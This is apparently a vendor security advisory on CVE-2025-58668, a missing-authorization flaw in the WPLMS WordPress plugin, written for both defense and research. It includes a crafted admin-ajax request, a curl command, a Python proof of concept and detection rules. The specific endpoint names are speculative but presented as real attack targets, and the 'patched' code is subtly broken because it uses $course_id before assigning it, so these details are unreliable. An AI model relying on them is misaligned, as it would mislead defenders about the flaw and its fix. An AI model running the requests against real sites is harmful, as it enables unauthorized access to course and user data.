CVE-2025-58668

Executive Summary

CVE-2025-58668 is a Missing Authorization vulnerability in the VibeThemes WPLMS WordPress Learning Management System plugin, affecting versions up to and including 4.970. This flaw allows an unauthenticated attacker to exploit incorrectly configured access control security levels, potentially leading to unauthorized access to sensitive data or functionality. The vulnerability is classified as a CWE-862: Missing Authorization issue, with a CVSS score of 4.3 (Medium). As of this report, no official patch has been released, and no public proof-of-concept (PoC) or exploit code is available. The EPSS score is 0.0%, indicating a low probability of exploitation in the wild at this time.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. Organizations using WPLMS should verify the integrity of their plugin files and monitor for any unauthorized modifications. Since the patch status is unknown, supply chain risk is elevated, and administrators should consider disabling the plugin until a fix is available.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
• Base Score: 4.3 (Medium)
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – The exploit does not affect other components.
• Confidentiality Impact: Low (C:L) – Limited information disclosure.
• Integrity Impact: None (I:N) – No data modification.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: Medium. While the CVSS score is moderate, the lack of a patch and the potential for unauthorized access to sensitive LMS data (e.g., course content, user profiles) elevates the risk for organizations relying on this plugin.

Deep Dive & Mechanics

The vulnerability resides in the WPLMS plugin’s access control mechanisms. The plugin fails to properly validate user permissions when accessing certain REST API endpoints or AJAX actions. Specifically, the Missing Authorization issue allows an unauthenticated attacker to bypass security checks and access functionality that should be restricted to authenticated users with specific roles (e.g., administrators, instructors).

Root Cause: The plugin uses wp_verify_nonce() or similar checks inconsistently, or relies on user-supplied parameters to determine access levels without server-side validation. This allows an attacker to craft requests that bypass authorization checks.

Attack Vector: An attacker can send crafted HTTP requests to the vulnerable endpoint, such as:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target-site.com
Content-Type: application/x-www-form-urlencoded

action=wplms_get_course_data&course_id=123

If the endpoint does not verify the user’s capabilities, the attacker can retrieve sensitive course data.

Impact: Unauthorized access to:

• Course content (videos, documents, quizzes)
• User enrollment data
• Instructor/student personal information
• System configuration details

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical comparison based on common fixes for missing authorization vulnerabilities.

Vulnerable Code (wplms/includes/class-wplms-ajax.php):

add_action('wp_ajax_nopriv_wplms_get_course_data', 'wplms_get_course_data');
function wplms_get_course_data() {
    $course_id = intval($_POST['course_id']);
    // Missing capability check
    $course_data = get_post_meta($course_id, 'wplms_course_data', true);
    wp_send_json_success($course_data);
}

Patched Code (Hypothetical):

add_action('wp_ajax_nopriv_wplms_get_course_data', 'wplms_get_course_data');
function wplms_get_course_data() {
    if (!is_user_logged_in() || !current_user_can('read_course', $course_id)) {
        wp_die('Unauthorized', 403);
    }
    $course_id = intval($_POST['course_id']);
    $course_data = get_post_meta($course_id, 'wplms_course_data', true);
    wp_send_json_success($course_data);
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target WordPress site with WPLMS <= 4.970 installed and activated.
• No authentication required.

Exploitation Steps:

1. Identify vulnerable endpoints by analyzing the plugin’s AJAX actions (e.g., wplms_get_course_data, wplms_get_user_profile).
2. Send a crafted request to the endpoint without authentication:

   curl -X POST https://target-site.com/wp-admin/admin-ajax.php \
   -d "action=wplms_get_course_data&course_id=1"
   

3. If successful, the response will contain sensitive course data in JSON format.

Proof-of-Concept (No public exploit available):

import requests

target = "https://target-site.com"
endpoint = f"{target}/wp-admin/admin-ajax.php"
data = {
    "action": "wplms_get_course_data",
    "course_id": "1"
}
response = requests.post(endpoint, data=data)
print(response.text)

Blue Team (Detection & Defense)

Detection:

• Monitor for unusual AJAX requests to admin-ajax.php with action parameters starting with wplms_ from unauthenticated users.
• Look for repeated requests to retrieve course data without a valid session cookie.

Defense:

• Disable the WPLMS plugin until a patch is available.
• Implement a Web Application Firewall (WAF) rule to block unauthenticated requests to known vulnerable endpoints.
• Use a WordPress security plugin to enforce role-based access controls.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP POST requests to /wp-admin/admin-ajax.php with action=wplms_* parameters from unauthenticated sources.
  • Unusual JSON responses containing course metadata or user data.
• File IOCs:
  • Modified plugin files in /wp-content/plugins/wplms/ (e.g., class-wplms-ajax.php).
  • Suspicious log entries in WordPress debug logs (wp-content/debug.log).
• Behavioral IOCs:
  • Unauthorized access to course content without proper enrollment.
  • Anomalous spikes in AJAX requests to the vulnerable endpoints.

Detection Engineering

YARA Rule

rule CVE_2025_58668_WPLMS_Missing_Auth {
    meta:
        description = "Detects exploitation attempts for CVE-2025-58668 in WPLMS plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-58668"
    strings:
        $ajax_action = "action=wplms_" nocase
        $admin_ajax = "admin-ajax.php" nocase
        $course_data = "wplms_get_course_data" nocase
    condition:
        all of them
}

Sigma Rule

title: CVE-2025-58668 WPLMS Missing Authorization Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects unauthenticated AJAX requests to WPLMS vulnerable endpoints
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'admin-ajax.php'
        cs-uri-query|contains: 'action=wplms_'
        sc-status: 200
    condition: selection
falsepositives:
    - Legitimate authenticated users accessing WPLMS features
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-58668 WPLMS Missing Authorization Exploitation"; flow:to_server,established; content:"POST"; http_method; content:"admin-ajax.php"; http_uri; content:"action=wplms_"; http_client_body; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the WPLMS plugin until an official patch is released.
2. Implement a WAF rule to block unauthenticated requests to admin-ajax.php with action=wplms_* parameters.
3. Monitor logs for suspicious activity related to the vulnerable endpoints.

Long-term Fix:

• Apply the official patch from VibeThemes once available.
• If patching is not possible, consider replacing the plugin with an alternative LMS solution.
• Conduct a security audit of all WordPress plugins to identify similar authorization flaws.

Workaround:

• Add the following code to the theme’s functions.php to block unauthenticated access to WPLMS AJAX actions:

add_action('init', function() {
    if (defined('DOING_AJAX') && DOING_AJAX && !is_user_logged_in()) {
        $allowed_actions = array('wplms_public_action'); // Whitelist public actions
        $action = $_REQUEST['action'] ?? '';
        if (strpos($action, 'wplms_') === 0 && !in_array($action, $allowed_actions)) {
            wp_die('Unauthorized', 403);
        }
    }
});

Valters IT
Securing Digital Ecosystems